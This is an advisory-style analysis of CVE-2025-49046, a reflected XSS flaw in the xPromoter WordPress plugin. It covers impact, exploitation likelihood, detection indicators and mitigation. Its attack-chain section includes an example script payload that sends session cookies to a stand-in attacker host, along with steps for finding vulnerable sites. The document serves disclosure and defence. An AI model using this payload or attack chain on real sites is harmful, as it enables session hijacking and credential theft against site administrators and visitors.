CVE-2025-49046: 
WordPress vulnerability analysis and mitigation

CVE-2025-49046 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LambertGroup xPromoter WordPress plugin (slug: top_bar_promoter). It affects all versions up to and including 1.3.4, with no official patch available as of the time of disclosure. The vulnerability was reported by researcher João Pedro S Alcântara (Kinorth) on August 30, 2025, and published by Patchstack on January 12, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or encoded before being reflected back in the web page response, allowing an attacker to inject malicious JavaScript via a crafted URL. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a malicious link or visit a crafted page. No specific technical write-up or PoC code has been publicly released beyond the Patchstack advisory (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and injection of malicious redirects or advertisements into the site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself, potentially affecting other site visitors (Patchstack).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-49046. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is unauthenticated but requires user interaction, limiting opportunistic exploitation. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress sites at scale, and has issued a virtual patch (mitigation rule) for its customers (Patchstack). There is no CISA KEV listing for this CVE.

1. Reconnaissance: Identify WordPress sites running the xPromoter plugin (slug: top_bar_promoter) version 1.3.4 or earlier using tools like WPScan or Shodan.
2. Craft malicious URL: Construct a URL targeting the vulnerable parameter in the xPromoter plugin that reflects unsanitized input, embedding a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the link: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedding it in a comment/forum post.
4. Victim interaction: When the victim clicks the link and loads the page, the injected script executes in their browser within the context of the WordPress site.
5. Achieve objective: The attacker captures session cookies, performs actions as the victim, or injects persistent malicious content into the site (Patchstack).

• Network: HTTP GET requests to WordPress pages containing URL-encoded script tags or JavaScript event handlers in query parameters associated with the xPromoter plugin.
• Logs: WordPress or web server access logs showing requests with suspicious query strings (e.g., <script>, onerror=, javascript:) in parameters handled by the top_bar_promoter plugin.
• Browser/Client-Side: Unexpected redirects, pop-ups, or outbound requests to unknown domains originating from the WordPress site in victim browser sessions.

As of the disclosure date, no official patch from the plugin developer (LambertGroup) is available for xPromoter. Site administrators should consider deactivating and removing the plugin until a patched version is released. Patchstack has issued a virtual patching rule for its subscribers to block exploitation attempts in the interim. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help mitigate risk (Patchstack).

Wordfence included this vulnerability in its weekly WordPress vulnerability report covering January 12–18, 2026, indicating routine tracking by the WordPress security community. No notable vendor statements, researcher commentary beyond the Patchstack advisory, or significant media coverage has been identified for this CVE.